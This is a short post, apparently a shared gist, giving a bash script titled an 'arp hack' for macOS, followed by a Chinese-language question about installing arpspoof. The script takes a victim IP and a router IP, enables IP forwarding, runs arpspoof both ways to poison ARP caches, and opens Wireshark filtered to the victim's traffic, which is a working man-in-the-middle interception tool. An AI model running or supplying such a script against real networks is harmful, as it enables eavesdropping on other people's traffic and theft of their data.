Simple arp hack script on OS X. Install arpspoof and wireshark before using it.

arp_os_x.sh

#!/bin/bash

#subset=`ifconfig en0 | grep 'inet ' | cut -d" " -f2 | cut -d"." -f1-3`
#echo "nmap -sP $subset.1/24"
#nmap -sP $subset.1/24
#echo

while true; do
    read -p "dst IP: " dstip
    if ! [ -z $dstip ]; then
        break
    fi
done

read -p "Router IP: (default $subset.1)" routerip
if [ -z $routerip ]; then
    echo "Use default."
    routerip="$subset.1"
fi

myip=$(ifconfig en0 |grep 'inet ' | cut -d" " -f2)

echo "$routerip <===> $myip <===> $dstip"
echo

sudo sysctl -w net.inet.ip.forwarding=1 >> /dev/null
sudo sysctl -w net.inet.ip.fw.enable=1 >> /dev/null

sudo arpspoof -i en0 -t $dstip $routerip >> /dev/null &
sudo arpspoof -i en0 -t $routerip $dstip >> /dev/null &

echo -n "ip.src==$dstip or ip.dst==$dstip" | pbcopy

sleep 1
sudo wireshark 
sleep 1

sudo killall arpspoof
sudo killall arpspoof
sudo killall arpspoof
sudo killall arpspoof

想问下在 OSX 下如何安装 arpspoof ？